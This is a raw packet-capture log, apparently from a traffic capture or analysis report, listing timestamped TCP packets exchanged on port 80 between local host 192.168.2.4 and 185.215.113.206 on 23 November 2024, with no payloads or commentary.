Nov 23, 2024 17:44:35.530364990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.530365944 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.530379057 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.530400038 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.530415058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.530459881 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.530497074 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.531248093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.531297922 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.531302929 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.531321049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.531337023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.531358957 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.531409025 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.531445026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.532172918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.532190084 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.532202959 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.532222033 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.532250881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.532250881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.532277107 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.532315016 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.533060074 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.533099890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.533102989 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.533112049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.533133030 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.533150911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.533195972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.533233881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.534096003 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.534107924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.534118891 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.534147978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.534178972 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.646977901 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.647026062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.647037983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.647049904 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.647166014 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.647413969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.647455931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.647468090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.647466898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.647497892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.647512913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.648076057 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.648096085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.648107052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.648125887 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.648143053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.648291111 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.648339033 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.649149895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.649194956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.649197102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.649208069 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.649235964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.649243116 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.649247885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.649283886 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.650000095 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.650038958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.650049925 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.650051117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.650075912 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.650089979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.650096893 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.650121927 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.650856972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.650876045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.650890112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.650903940 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.650921106 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.650933027 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.650958061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.651000977 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.651752949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.651766062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.651777983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.651791096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.651802063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.651823044 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.652693033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.652755976 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.652786016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.652798891 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.652836084 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.652844906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.652856112 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.652884960 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.653526068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.653573990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.653588057 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.653597116 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.653634071 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.653635025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.653671026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.653718948 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.654454947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.654505014 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.654519081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.654531956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.654556990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.654562950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.654618025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.654618025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.655373096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.655421972 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.655435085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.655447006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.655478001 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.655524969 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.655596972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.655646086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.656269073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.656317949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.656320095 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.656331062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.656343937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.656359911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.656393051 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.656393051 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.657162905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.657196045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.657207012 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.657236099 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.657236099 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.657269955 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.657301903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.657346964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.658226013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.658247948 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.658260107 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.658279896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.658302069 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.658303022 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.658346891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.659050941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.659105062 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.659117937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.659168005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.723757982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.723824978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.723835945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.723860025 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.723881960 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.723912954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.723932028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.723975897 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.724221945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.724282026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.724334955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.724387884 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.724844933 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.724858046 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.724912882 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.724912882 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.725122929 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.725136995 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.725172043 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.725624084 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.725666046 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.725671053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.725686073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.725707054 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.725725889 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.725774050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.725814104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.726308107 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.726353884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.726356030 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.726367950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.726392984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.726407051 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.726435900 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.726475000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.727235079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.727276087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.727283955 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.727288961 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.727320910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.727353096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.727410078 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.727448940 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.728147984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.728193998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.728193998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.728207111 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.728230953 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.728244066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.728250980 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.728286028 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.729165077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.729233027 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.729265928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.729279041 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.729304075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.729319096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.729399920 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.729445934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.730019093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.730056047 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.730068922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.730071068 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.730093956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.730096102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.730114937 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.730130911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.730911016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.730959892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.730967999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.730979919 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.731007099 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.731023073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.731040955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.731079102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.731904030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.731914997 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.731926918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.731939077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.731956005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.731983900 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.732739925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.732779026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.732789993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.732790947 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.732819080 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.732840061 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.732893944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.732932091 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.733721018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.733766079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.733776093 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.733779907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.733829021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.771549940 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.771614075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.771673918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.771694899 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.771697044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.771733999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.771804094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.771816969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.771828890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.771842003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.771853924 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.771873951 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.772629976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.772680044 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.772712946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.772752047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.848442078 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.848534107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.848561049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.848599911 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.848607063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.848635912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.848644018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.848675966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.848685026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.848701000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.848726034 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.848752975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.848799944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.848841906 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.849431992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.849478006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.849489927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.849502087 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.849524021 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.849529028 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.849564075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.850363970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.850405931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.850418091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.850419044 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.850449085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.850521088 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.850560904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.851301908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.851360083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.851372004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.851373911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.851397038 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.851411104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.851454020 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.851492882 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.852193117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.852233887 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.852246046 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.852246046 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.852272034 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.852288008 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.852320910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.852351904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.853105068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.853151083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.853151083 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.853163958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.853189945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.853204966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.853290081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.853322983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.854083061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.854094982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.854106903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.854134083 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.854161024 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.854208946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.854249954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.854950905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.854995966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.855024099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.855036974 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.855067015 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.855082989 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.855113983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.855150938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.855925083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.855971098 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.855971098 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.855983019 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.856008053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.856023073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.856077909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.856115103 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.856798887 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.856820107 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.856832027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.856844902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.856861115 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.856878996 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.856940031 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.856978893 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.857743025 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.857789993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:35.857791901 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:35.857803106 CET	80	49745	185.215.113.206	192.168.2.4
